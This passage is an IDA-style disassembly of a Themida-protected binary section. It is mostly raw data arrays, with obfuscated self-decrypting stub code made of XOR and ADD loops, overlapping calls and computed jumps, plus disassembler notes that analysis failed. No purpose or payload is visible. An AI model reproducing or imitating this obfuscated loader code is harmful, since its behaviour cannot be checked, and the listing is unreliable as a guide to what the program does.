5AA0D9F9h, 0AEA459BDh, 949A0D79h dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 5D92BE29h dd 24294396h, 1957DFA0h, 515E004Dh, 532A54A8h, 742FD775h dd 0CDA152BDh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 5AA0D9F9h dd 0AEA459BDh, 949A0D79h, 651A2320h, 8481328Ch, 5DDF6E21h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh, 919197B9h dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h, 37AA8E4Bh dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh, 0C20E458Ah dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 91D1B22h dd 0E173BA8Ch, 9FA7FEF8h, 57BE72C5h, 0D6A08557h, 5DDF6E20h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh, 730BD775h dd 452652BDh, 1E28C820h, 0EA2C489Fh, 0FB2BF55Bh, 3186949Bh dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh, 0E96F93A4h dd 51A2458Ah, 87D5FE04h, 57B76007h, 17868C23h, 0DB2FEF49h dd 133663E7h, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh, 0DAAA3001h dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 4487C818h, 0B9E2DFAEh dd 0DC088558h, 91D1B32h, 3771BA8Ch, 73E39410h, 0FB63CF21h dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 742FD775h dd 0DDA152BDh, 0FB637726h, 2265CE25h, 825D4396h, 0E4AAECCEh dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h dd 376B7732h, 5AB0D903h, 0AEA459BDh, 9592327Bh, 0FD09234Bh dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh dd 8FA7FFCEh, 57BE72C5h, 0A09A8757h, 0FB0E0320h, 2265CE25h dd 825D4396h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 9CC0D5F2h dd 96A459C1h, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 5394CE25h dd 0DCF14396h, 96DC132h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah dd 60D558DDh, 9F38C882h, 462C48EEh, 1637DF07h, 0C6D552B4h dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57BE0350h dd 80B0D9FBh, 0AEA459CDh, 0E96FDD7Bh, 51A25863h, 195FABA8h dd 0DCAA3075h, 96CB232h, 0CB2F168Ch, 1336133Dh, 142B9675h dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h dd 1534499Dh, 23E4B806h, 85890000h, 615090Dh, 0E8h, 0D055800h dd 89000000h, 23E4E903h db 2 dup(0) word_5EE6A6 dw 0 ; DATA XREF: Themida_:0057CE78o dd 157h dup(0) db 2 dup(0) word_5EEC06 dw 0 ; DATA XREF: Themida_:00579D2Co dd 1Dh dup(0) dword_5EEC7C dd 781h dup(0) db 2 dup(0) word_5F0A82 dw 0 ; DATA XREF: Themida_:0057A4C0o dd 0 dd 9E80000h, 5B000000h, 0B79F10DDh, 5F424665h, 820F6050h dd 0 ; --------------------------------------------------------------------------- jmp loc_5F0AAE ; --------------------------------------------------------------------------- db 1, 0F6h, 0DAh dd 2DAA3454h db 0E5h, 35h ; --------------------------------------------------------------------------- loc_5F0AAE: ; CODE XREF: Themida_:005F0AA0j popa pop ecx pop edi add dx, 0D00Ah add edi, 0E6DDh mov ecx, 116BB380h push 0 mov cx, si pop eax mov edx, 3E1DA0A8h loc_5F0ACF: ; CODE XREF: Themida_:005F0B61j mov esi, [edi+eax] mov dx, cx xor esi, 7D39B8F5h push eax add bx, 0FDA6h pop ebx xor esi, 462B5CA4h adc cx, 5AFBh sub esi, 23D6FB5Eh mov dh, 0FEh push esi pusha mov bl, dh mov di, si popa pop dword ptr [edi+eax] call near ptr loc_5F0B15+3 rep sbb bl, cl cwde outsb or [ebp-69h], dh inc edi jbe short near ptr loc_5F0B11+1 dec eax loc_5F0B11: ; CODE XREF: Themida_:005F0B0Ej adc [eax], dl mov [esi], al loc_5F0B15: ; CODE XREF: Themida_:005F0B00p mov al, ds:8B6638D6h xlat pop edx jmp loc_5F0B29 ; --------------------------------------------------------------------------- push ebp aam 0CBh sub [edx+eax*8-5Dh], dl das loc_5F0B29: ; CODE XREF: Themida_:005F0B1Cj sub eax, 4 add ebx, 32AC2C26h cmp eax, 0FFFF1A00h jnz loc_5F0B51 mov dx, ax jmp loc_5F0B70 ; --------------------------------------------------------------------------- popa sbb eax, 5EDC9724h retn 7ED5h ; --------------------------------------------------------------------------- inc ebp pop edx loc_5F0B51: ; CODE XREF: Themida_:005F0B38j pusha mov di, cx jle loc_5F0B60 mov ebx, 27F8E7C3h loc_5F0B60: ; CODE XREF: Themida_:005F0B55j popa jmp loc_5F0ACF ; --------------------------------------------------------------------------- dw 96A9h dd 5886D2DFh, 0A1DF3B7Ah ; --------------------------------------------------------------------------- loc_5F0B70: ; CODE XREF: Themida_:005F0B41j call sub_5F0B88 dec ebx add eax, 0AA202C3Dh add [edx+eax], edi inc esi popa popf cmc fld tbyte ptr ds:0C6E4244Ch ; =============== S U B R O U T I N E ======================================= sub_5F0B88 proc near ; CODE XREF: Themida_:loc_5F0B70p mov bl, dl pop ecx push edi push ebx jg $+6 pop esi pop esi add ecx, 661Ch push 1955h adc dh, 6Bh pop edi push eax pusha jge $+6 push esi pop ebx popa pop esi loc_5F0BB0: ; CODE XREF: sub_5F0C13+1Ej push dword ptr [ecx] jp loc_5F0BBC mov dx, 3531h loc_5F0BBC: ; CODE XREF: sub_5F0B88+2Aj pop eax mov bx, 0D1FBh xor eax, 7F881FA1h call near ptr loc_5F0BD6+2 db 26h adc esi, ebx xor ebx, edi test eax, 0F820EAB8h loc_5F0BD6: ; CODE XREF: sub_5F0B88+3Fp cmp byte ptr [eax-7Fh], 0F6h sub_5F0B88 endp ; sp-analysis failed push esi push 0FFFFFFCFh das pop ebx add eax, 22CD7905h adc esi, 615BA802h sub eax, 6F3383ABh pusha mov ebx, eax popa mov [ecx], eax jz loc_5F0C19 call near ptr sub_5F0C13 inc ebp lock cld mov ch, 0DCh hlt ; --------------------------------------------------------------------------- dd 4914D6E4h, 11C6054Ah db 7Eh, 69h, 30h ; =============== S U B R O U T I N E ======================================= sub_5F0C13 proc far ; CODE XREF: Themida_:005F0BFDp mov ebx, 29F563BFh pop edx loc_5F0C19: ; CODE XREF: Themida_:005F0BF7j sub ecx, 3AF74C09h mov si, 2384h add ecx, 3AF74C05h or si, 5DD4h sub edi, 1 jnz loc_5F0BB0 jmp loc_5F0C41 ; --------------------------------------------------------------------------- dd 8D4B5672h db 0E1h ; --------------------------------------------------------------------------- loc_5F0C41: ; CODE XREF: sub_5F0C13+24j jmp loc_5F0C55 ; --------------------------------------------------------------------------- dec ebx pop eax retf 47h ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5F0C55: ; CODE XREF: sub_5F0C13:loc_5F0C41j jmp loc_5F1A8D ; --------------------------------------------------------------------------- push 61C74CFh jmp loc_581882 ; --------------------------------------------------------------------------- push 61C75E1h jmp loc_581882 ; --------------------------------------------------------------------------- push 61C7690h jmp loc_581882 ; --------------------------------------------------------------------------- push 61C7723h jmp loc_581882 ; --------------------------------------------------------------------------- push 61C7AB7h jmp loc_581882 ; --------------------------------------------------------------------------- push 61C7E15h jmp loc_581882 ; --------------------------------------------------------------------------- push 61C7EEDh jmp loc_581882 ; --------------------------------------------------------------------------- dd 0CCA91995h, 9362D257h, 0E4B1219Ch, 9C79E94Fh, 0E2B32387h dd 67CBC6C5h, 0AE111EF7h, 6CC8573Eh, 0A90A19FCh, 636B5C39h dd 9A80B9E0h, 79C34416h, 6056C624h, 0BD81F153h, 3392F374h dd 1086F2EEh, 0F793BC8Dh, 3A6A0E9Ch, 1A69A124h, 23F4169Ch dd 3697161Bh, 93DA4A8Fh, 4F603116h, 9A947647h, 89F97FB4h dd 0EBDAB08Dh, 1693DAA2h, 0F9F9E44Bh, 0DA3960E3h, 0FBC41693h dd 0B4464567h, 28C2EDA2h, 0BD2D006Dh, 43889Dh, 98C60000h dd 93F5E42Dh, 0D4B68716h, 0E30BAB60h, 83ADDE0Eh, 29351AACh dd 9BE3BE9Ah, 73D2BF16h, 8BEA2C03h, 1693D042h, 9959842Bh dd 6BAB1B98h, 0D0F9CC92h, 9B1693D0h, 48B5E08Ah, 0D09DBD3Ch dd 19h, 0DF624FECh, 0ADF44F6Fh, 501086F2h, 862F8B7Fh, 2D000009h dd 5436A604h, 57C724E0h, 81F1525Fh, 0C2F2C6F4h, 0F6CEDBFCh dd 30ABB5DDh, 0D9DA045Ah, 0A500EA5Ah, 169B236Dh, 0D6FFDFF0h dd 360DB6E7h, 1693C513h, 8DEEC9DAh, 0B87614A9h, 0EB5BDDD6h dd 2479A4FFh, 0D6F1693h, 2888999Dh, 0E777EB8h, 2BE6449Fh dd 84696E84h, 183B27E4h, 50DDD8B2h, 0F29DBDC3h, 5F3059ECh dd 0CA2E1693h, 35D5E65Ah, 4E05h, 0BAB2100h, 3D903DBh, 0D96B30D2h dd 5DC886DDh, 10865934h, 682B594Eh, 8E324893h, 68AE1EA1h dd 0F3D2B897h, 169B8147h, 2442DF6h, 0B6E83FE7h, 82AF9D99h dd 0CBFA9000h, 1693E782h, 3019C46Bh, 9DBD2ECDh, 0FE53h dd 0CD288900h, 2485AD5Dh, 525F57C7h, 9D9680F0h, 0C131921Eh dd 38BBA8EEh, 0F2256CD7h, 0B73B1086h, 0C27E4F47h, 7A37DEF1h dd 1086F773h, 0FF960665h, 5B63D330h, 65D53081h, 86F799C0h dd 0E050D710h, 5667D9B6h, 50F07AB4h, 1738A804h, 1888EA47h dd 98DA093Fh, 9F4BBDDAh, 269DBF9Dh, 1086B0E3h, 0B0749D28h dd 26F71086h, 0E2C1A97Ah, 169C473Eh, 65D5545Dh, 0AAE5C31h dd 0AA4E5C39h, 397A647Ah, 60D02DB9h, 94765936h, 8BCA0629h dd 0F6EC310h, 0FACBEB9Fh, 61E4FAE4h, 1CABF338h, 0E656D6C3h dd 1AF0DFB0h, 0CC319919h, 0CDB46FBAh, 2566AB1Ah, 34051CABh dd 0D261341Bh, 0F37D0070h, 0ECB1C2C2h, 0ADC6ACAh, 93F30000h dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh dd 950565h, 0B95CCC33h, 0FB9A0A6Ah, 0BE57C724h, 577A4915h dd 16169A86h, 0C624E755h, 1370BF56h, 0AB66D2A3h, 4003DB0Bh dd 169BF5F0h, 34A4062Bh, 65516256h, 93F1BFDEh, 0E252B116h dd 0CC3CBFB4h, 11BC6DCAh, 0EC178D2h, 0BD1CAE3Bh, 0EA369Dh dd 63740000h, 0FD1D599Eh, 0B08670CDh, 0D839627h, 60A91C22h dd 0B169368h, 24EC503Ah, 525F57C7h, 2F9680F0h, 1086F7CEh dd 0EBF363E0h, 0BFF767C6h, 0E2511CCEh, 0C4EDF161h, 1816F464h dd 21A2EE92h, 0A78885B1h, 642C97h, 3809169Ch, 40B00D26h dd 67198156h, 100095A4h, 7A404B3Fh, 0E5419EC6h, 0B08935E0h dd 9C96BF9Fh, 58814497h, 2316936Fh, 0CFF84512h, 3E055733h dd 108B6192h, 2970D309h, 0D41CAB6Dh, 6D2E73D2h, 0FCCD1CABh dd 9A8737D3h, 0B5258B17h, 8CA39C9Ah, 910181B2h, 5BCB2F04h dd 0C2FB36C2h, 2B87ADB1h, 9CAh, 5C39A905h, 23F262C7h, 0B441B10Ch dd 0EC89F97Fh, 0B243B337h, 77FBB6F5h, 3EC16E07h, 7CF827CEh dd 39BA690Ch, 0B39B2CC9h, 9A87C910h, 933B416h, 0BF56C624h dd 0A616969Bh, 3EEB9F70h, 84A84DBDh, 72E2624Fh, 729F4B44h dd 7C75A111h, 0ADAF8FFFh, 86F2F316h, 0C1A97A10h, 9D180BB2h dd 6FAB3EB8h, 3F2BC294h, 0D959A559h, 7F502D69h, 157CE45Fh dd 3001169Bh, 0DB15576Eh, 0EA8EBC59h, 8D21A4BAh, 90B94732h dd 4DF177BFh, 0A81B411Dh, 0A576A261h, 0D4F3B0Ch, 6F34CB36h dd 0BD8192A3h, 0EE87F774h, 0CB52C241h, 1E7D839h, 1B2C88AEh dd 0B4000009h, 0F42BCA3Ah, 0C3700575h, 0EC43D242h, 0AA791C8Ch dd 5E3DD848h, 0A010722Dh, 69D95ED5h, 0A515978Ch, 70E063D0h dd 992C32A5h, 169A8470h, 24C27AFBh, 0D95F57C7h, 0C8E9F525h dd 82BA026Ah, 0FB0DA403h, 0A52036D4h, 169C0821h, 565B6334h dd 0A08F66D6h, 0ADAAB424h, 4123DC80h, 0C0AE0ABh, 93C060A9h dd 30CD1016h, 0D6AA1692h, 0B12D98A6h, 0B4108EB0h, 77FADBE3h dd 43863D4Dh, 2A1CACA3h, 93C63E19h, 7081AB5Fh, 0B2DAA313h dd 0A9B1C67Dh, 888278Bh, 0E7470000h, 30919E77h, 7FFE35C0h dd 37B9660Fh, 81012EC7h, 64278411h, 0BC59C929h, 5900067h dd 0B75ECE2Eh, 0FA9B0B68h, 1B3E05C9h, 0E2169A85h, 0BAB1B21h dd 4C4003DBh, 0AF169BF2h, 0CB930382h, 93F2D1F8h, 0DF8B9C16h dd 0E3D0EEBFh, 0D8C6F060h, 93F2246Dh, 0D9F6C716h, 8BEE0331h dd 0D8235123h, 69460E5Fh, 6CDC5C55h, 466BEF7Eh, 9B9872E2h dd 0A70A616h, 8C370737h, 1693611Dh, 60D03360h, 61A2E75Eh dd 78491693h, 0B5645F57h, 0CC3CBD0Ah, 61418C29h, 5B1E1693h dd 5B0132Bh, 38169361h, 20A18E67h, 61DD04BFh, 0AC131693h dd 9B05FA3Ch, 9899A58Ah, 906DA919h, 8CB93CFAh, 0D4169360h dd 3B787A65h, 67A446B6h, 2C039202h, 0DA595DCDh, 16936603h dd 0F0777F5h, 0E82E9E22h, 14B31A8Fh, 1EEF2797h, 3AA51431h dd 0D9BC2C8Dh, 0B5DC6775h, 0D6169366h, 93662A6Fh, 60C0D116h dd 42F59B4Fh, 2E0171F6h, 6669B510h, 3B0C1693h, 3AAA0E23h dd 1181E7FCh, 63072825h, 81F2E3A9h, 4D942F5Dh, 3016939Ah dd 0D3CF381Fh, 6D09B456h, 1A82FDBDh, 9B191A44h, 0A2577A2Bh dd 5166AF1h, 0C6832A65h, 121F6E63h, 1C9E9h, 0BABBD00h dd 0E44003DBh, 79169C17h, 91BE2E8Ch, 83C68FCDh, 979FEBBh dd 7F27300Dh, 1714F650h, 1BA70894h, 13EC2A9Ah, 0AD82133Ch dd 5DD8DE4Eh, 91D8C096h, 0E5124305h, 0E3268419h, 1E92B78Eh dd 48599DDAh, 0A10C8367h, 56E26051h, 494D62D2h, 16959674h dd 99B6268Ah, 54C427FCh, 0F929D862h, 31A1071Ch, 3CE6282Dh dd 0FF08A847h, 0B310210Bh, 8BA8B243h, 61D2B828h, 476C72E2h dd 9D9773E3h, 4D3DC116h, 0FEB1380Eh, 0C939BFF4h, 0A8E7F0CDh dd 4F2C47C6h, 0C92AE783h, 467BC59h, 77BCA294h, 0BD9284F4h dd 0C814E3CDh, 0CEBFF767h, 2366DDE1h, 68EF6186h, 9278E84Bh dd 0D6781D2Eh, 66574701h, 7B6FB376h, 0A2BC2C8Eh, 0FCC009BCh dd 9C1EEF61h, 15AB742Ch, 2B37B472h, 4BC9A18Eh, 0D5F21ADDh dd 5F26F421h, 9492B78Eh, 4859EF61h, 0CF764867h, 0EF619486h dd 8DD1A475h, 0DD68C924h, 0EF6194B4h, 4D496637h, 949DC47Fh dd 4F60EF61h, 2A898A60h, 94D7FAC9h, 6996EF61h, 0A7B79808h dd 6194F51Ch, 88A778EFh, 0AD15958Eh, 0FCC7046Dh, 0EF6163D5h dd 0C0B08798h, 744A658Bh, 4C4ABA3Fh, 969D9773h, 669CA94h dd 46EA2F96h, 8091EF61h, 0C700AFEAh, 507FFC64h, 6EB1D72Eh dd 0B7347D41h, 0E3624F47h, 654A4373h, 0BA39E685h, 1BDE4C4Ah dd 2170D3EBh, 0DCEF61FFh, 76F52ACBh, 421585EAh, 3DFC21BDh dd 4F4768EEh, 0D656E262h, 614D4966h, 37B413BAh, 82012EC7h dd 0E3962412h, 8518ABB3h, 88EF61E9h, 0F351DEB7h, 93C99383h dd 61E9E930h, 0E78394EFh, 0DE0EB1h, 54EF50B3h, 0EF61E90Dh dd 1AF0DFF0h, 0E9288144h, 6233EF61h, 0C724A593h, 6A45B53Bh dd 2B5B1B8Bh, 577A4913h, 161086F2h, 74CF6505h, 169C10BCh dd 9DC47F41h, 601693ECh, 555E604Fh, 8ACF76D7h, 711693ECh dd 39E68FA0h, 0DD4B4BBBh, 6ED5E919h, 10890476h dd 85003607h, 1CAD4458h, 2D316115h, 3279262Fh, 0ADE959D4h dd 0C5A107D0h, 3BB312F8h, 3A1AB1F0h, 0DD5C5569h, 0A28F7D6Dh dd 0DC05C021h, 9F02B9F0h, 0CC15B08Eh, 0AF02B9F0h, 0BAECB19Eh dd 0A5ABB198h, 4F4338Fh, 5BDB0000h, 94150AEBh, 63E25124h dd 0AB0D22F3h, 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh dd 33C23292h, 660F7FFCh, 8FD2715Dh, 6E169A88h, 0BAB8FADh dd 0C84003DBh, 95169C1Fh, 0EB339284h, 941693DFh, 1297B21Dh dd 9A9DBD4Bh, 0B4h, 91D8C790h, 81766A57h, 624F31E9h, 57286EDEh dd 0F29508B3h, 79671086h, 78C69EB7h, 0F58AFE67h, 27971415h dd 29991A17h, 777F4EDh, 83334228h, 0DB886B6h, 1086E0CCh ; --------------------------------------------------------------------------- scasd loc_5F156D: ; DATA XREF: Themida_:00579CD4o sahf cwde mov ebp, [eax] ror byte ptr [ecx-1796CBECh], 0C4h jmp short loc_5F1584 ; --------------------------------------------------------------------------- dw 0DF9Ch dd 64CD8FAFh, 0E42D9808h ; --------------------------------------------------------------------------- loc_5F1584: ; CODE XREF: sub_5F0C13+965j daa loc_5F1585: ; CODE XREF: sub_5F0C13+985j xchg dl, [eax] xchg esi, [esi-693C7D2Ch] daa xchg dl, [eax] db 65h push esp bound edx, [ecx-0Eh] mov cl, [ebx-0Eh] loop loc_5F1585 and cl, [edx] and eax, 69996A50h push ebp pop esp loopne loc_5F1624 les ebx, [ebp+601086ADh] ; CODE XREF: sub_5F0C13+9B8j dec edi pusha mov dh, [ecx+edx+1086ADACh] insd inc esp call near ptr 0C4845433h push esp jnp short near ptr dword_5F14A0+0ADh das push ds sbb [ebp+10875270h], bl js short loc_5F15D9 sahf mov al, 13h jecxz short near ptr loc_5F15A5+3 push 10865245h call near ptr 427B54AEh icebp xchg eax, ecx loc_5F15D9: ; CODE XREF: sub_5F0C13+9B3j and [ebp+ebx*2+20108652h], eax cvtdq2ps xmm7, oword ptr [edi] push ds add [eax], eax add [ebx+4Fh], bl ; --------------------------------------------------------------------------- db 62h, 0E0h, 70h dd 3060209Ah, 0F227972Eh, 6FC4169Bh, 0A7989E0Eh, 55C1A890h dd 0CFE27E7h, 869B9BACh, 7AE4B121h, 8FB8E164h, 56431693h dd 5E2F67D7h, 5E1F9971h, 0A023102Eh, 0DA045A30h ; --------------------------------------------------------------------------- loc_5F1624: ; CODE XREF: sub_5F0C13+990j fst dword ptr [edi-19h] add ebx, [eax+16938F7Dh] sahf rol byte ptr ds:16938FDCh, 3Dh xchg al, [ebx-71h] xchg eax, ebx push ss sub bl, [ecx] cmpsd sahf or al, 0C6h popf out 32h, eax jle short near ptr loc_5F1695+1 mov ecx, 83023405h pop ecx cmp eax, 278B1693h mov bh, 7Fh xchg eax, esi outsd nop push cs in al, 55h jge short loc_5F1690 mov ah, 44h push edx mov bh, 0FEh iret ; --------------------------------------------------------------------------- dd 93A0B614h, 6F2AC030h, 91A40940h, 922C9DBDh, 0 dd 4DA0AABh, 86F21841h, 35B6E310h, 0DFD747A9h, 0F8D5C1EEh dd 0DFFDDFD7h dword_5F168C dd 86F23D64h ; --------------------------------------------------------------------------- loc_5F1690: ; CODE XREF: sub_5F0C13+A45j adc al, al loc_5F1692: ; CODE XREF: sub_5F0C13:loc_5F16DCj shr dword ptr [esi-2], cl loc_5F1695: ; CODE XREF: sub_5F0C13+A30j sar dword ptr [ecx], 1 loc_5F1697: ; CODE XREF: sub_5F0C13+A90j clc ja short loc_5F16B0 dec eax jge short loc_5F16F1 repne xchg dl, [eax] pop ss push es lahf jp short loc_5F1697 xchg dl, [eax] add [eax], esi pop ds loc_5F16AA: ; CODE XREF: sub_5F0C13+AD1j jbe short loc_5F16DC ; --------------------------------------------------------------------------- dd 5D7F5F8Fh ; --------------------------------------------------------------------------- loc_5F16B0: ; CODE XREF: sub_5F0C13+A85j push esp xlat sbb dword ptr [bx+si], 45h repne xchg dl, [eax] db 66h jno short near ptr dword_5F168C iret ; --------------------------------------------------------------------------- db 0FBh, 0C1h, 0EDh dd 85960AE0h, 0AC8ACB91h, 41E83D21h, 0A1980A3Bh, 0AC83EFE0h dd 0CABEDFBEh, 52B01087h ; --------------------------------------------------------------------------- loc_5F16DC: ; CODE XREF: sub_5F0C13:loc_5F16AAj loop loc_5F1692 mov edi, 0D6CBCB3Bh push ecx loope loc_5F16AA push ebp push 79h dec esp ; --------------------------------------------------------------------------- dw 0F2DDh dd 536B9B5Ch db 82h ; --------------------------------------------------------------------------- loc_5F16F1: ; CODE XREF: sub_5F0C13+A88j mov ebx, 1E5D025Eh cmp [edi-437D97B9h], dh or [ecx+ebx*2-79h], esi adc bh, dh db 26h dec edi jmp near ptr 87B6DE2Dh ; --------------------------------------------------------------------------- db 2Ah, 0C8h, 58h dd 8B89615Eh, 0D0A51596h, 4EF516EAh, 1086F20Bh, 745229F2h dd 0D24FD3F9h, 0CB0CD2FDh, 8A62254Bh, 720C2B50h, 0F1CB13FFh dd 7BE806Ah, 169B46D3h, 268D899Ah, 169334E7h, 3590CE90h dd 169334ECh, 0E5CCBE8Fh, 35BBF8FAh, 0EFCD1C5h, 0BDE41A9Fh dd 65A29Dh, 0AB760000h, 0C838BF0Bh, 0B7E6F1CEh, 6D5236CBh dd 0E4FAC4EBh, 0B9FD6DCFh, 7058F3C4h, 34686D7Fh, 61CB6756h dd 0A172169Bh, 2B8AA775h, 83AC1C9Fh, 6591BCE7h, 61C71693h dd 50ACC5F1h, 0E151B3E0h, 0F6E950B5h, 3A773DEDh, 714E48B8h dd 65B3D66Dh, 693A1693h, 4BA71681h, 751585E6h, 0BDB0B336h dd 0C3399Dh, 244D0000h, 525F57C7h, 9D9680F0h, 0A390AE1Eh dd 765AE1Eh, 2839F397h, 4DBD3FCBh, 4373E346h, 7C59654Ah dd 0C42D9D78h, 0E0AB5FECh, 862D98E5h, 0BD2D8E10h, 78E84BD8h dd 0DC0CAC3Eh, 2BFB4302h, 1B18169Bh, 5E422898h, 3E02A84Dh dd 4D95300Eh, 30108B7Ch, 25118103h, 0F73FAF0Ch, 38062906h dd 84EB77FBh, 0F05A3B14h, 7E3257EEh, 0E8B91CABh, 41B11102h dd 0C30E84BCh, 6DD5DFB1h, 196h, 0A84DBD39h, 0EF86F67Bh dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9A8CED34h, 2D0F9016h dd 0BF56C624h, 0D2A31370h, 6174F88h, 0ABDE12B6h, 0F3970768h dd 0DB0BAB3Fh, 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 999B1693h dd 0BDAD1D98h, 0D507EBD2h, 93F12B6Eh, 29C1D216h, 0BD1CFF6Ah dd 0A9859Dh, 92C30000h, 0E7285781h, 0E84C3EB6h, 5F57C724h dd 364F052h, 2E8EA393h, 0A88778BEh, 9D99096Bh, 2C878FA0h dd 1086F7C1h, 11E454D7h, 531A122h, 0CB93C373h, 9BF134F8h dd 8D683916h, 1529591Dh, 8B9185AEh, 0DBE3B410h, 0E252B001h dd 422069DCh, 0FACB1CAAh, 2F9F2310h, 0E959D946h, 0C3E9D614h dd 1FA391B1h, 0BEh, 0B045B511h, 0E78EFE83h, 0A84DBD38h dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh dd 65C65D38h, 0A7B720F5h, 9A8CF51Ch, 45F77816h, 8856C624h dd 6155C52Bh, 507FEF50h, 0E744DBBAh, 4F9A9E77h, 0F293B68Dh dd 4DF81086h, 1086F204h, 596AD6E7h, 0DF61CE7Eh, 5E0C8F95h dd 0D8DE4EADh, 1DF868CBh, 0A5B9E98Dh, 1CAD9EB7h, 0A9D9B3Ch dd 803ECFAFh, 5436195Bh, 0A3025F69h, 0B3377C16h, 26F7A743h dd 108003F0h, 57D8D985h, 0A50603E7h, 7F820135h, 0EE544113h dd 0C6F5887h, 0C92AF99Ch, 0E4445D59h, 0EC496A74h, 0A5A08E7Ch dd 7DFEC9F4h, 38BB680Dh, 366CEC8h, 42000000h, 0CA244B2Fh dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 68783C7Ah, 0B18h dd 53242C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 8957243Ch dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 242C895Ch, 1C727168h dd 243C8B06h, 4C481h, 0B6680000h, 8900007Bh, 4832424h dd 525D0424h, 24048157h, 14E239C4h, 0C4EA815Ah, 8914E239h dd 0FF5A0855h, 815D2434h, 4C4h, 243C8B00h, 5E08950h, 4 dd 8704C083h, 0E95C2404h, 0FFF8FE02h, 34CAE0D2h, 3A693830h dd 0E412EB5Bh db 0E4h ; --------------------------------------------------------------------------- loc_5F1A8D: ; CODE XREF: sub_5F0C13:loc_5F0C55j mov eax, 61C7FD0h add eax, ebp jmp eax sub_5F0C13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 10BAh dd 547308ADh, 0E2503FE2h, 153C2E33h, 0AEC306E5h, 2F8D1F77h dd 8949505Ah, 85F1216Bh, 6A0667E0h, 48F5E09h, 85034296h dd 8AE84B01h, 97661B6Fh, 0D07B6FE5h, 498338CEh, 876575A2h dd 521A0E7Ah, 0DC9B4BC1h, 0BE84CE2h, 3F000000h, 4696EE60h dd 506A61BDh, 8C0F15ADh, 3, 58D2BF0Fh, 8820Fh, 8D0F0000h dd 2, 0C0816160h, 5B1Bh, 68F9B70Fh, 16A2h, 4880Fh, 0BB660000h dd 8B5E23C9h, 0B70F6008h, 6150B0D1h, 27D4E981h, 8B6648E7h dd 1AC181D0h, 80417F2Fh, 0E981D5C3h, 1CA55314h, 7DBF51F5h dd 8F1A58EBh, 810F00h, 83000000h, 8B6603E8h, 13E948FAh dd 0B000000h, 6391A30Ch, 4CD21D2Fh, 6CA23863h, 0C80BDA87h dd 0EE8309D2h, 0A8850F01h, 0FFFFFFFh, 16E9D3B7h, 0C4000000h dd 16359Eh, 4 dup(0) dd 551E900h, 2F8F0000h, 0E849D6BFh, 27869D78h, 0EF51DEB7h dd 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh, 6F0676F6h dd 42D343C0h, 0D3F6CD91h, 9A169A73h, 0C72463D9h, 0D5EAD65Fh dd 80AF9314h, 0AD1D9D96h, 68D85BC8h, 46B6352Eh, 6EDE6350h dd 1D6B828h, 0B32B8D80h, 54291A31h, 0BADA7BC0h, 13BAF595h dd 0D2CF37B4h, 65F8F16Dh, 1221F4DBh, 7CB342B2h, 8DA69000h dd 0AB1B9E2Ah, 2B39284h, 2090ECDBh, 0ED5DDE55h, 11380BD1h dd 0DC10867Ah, 27F51FCBh, 5238A80Ah, 867A2B73h, 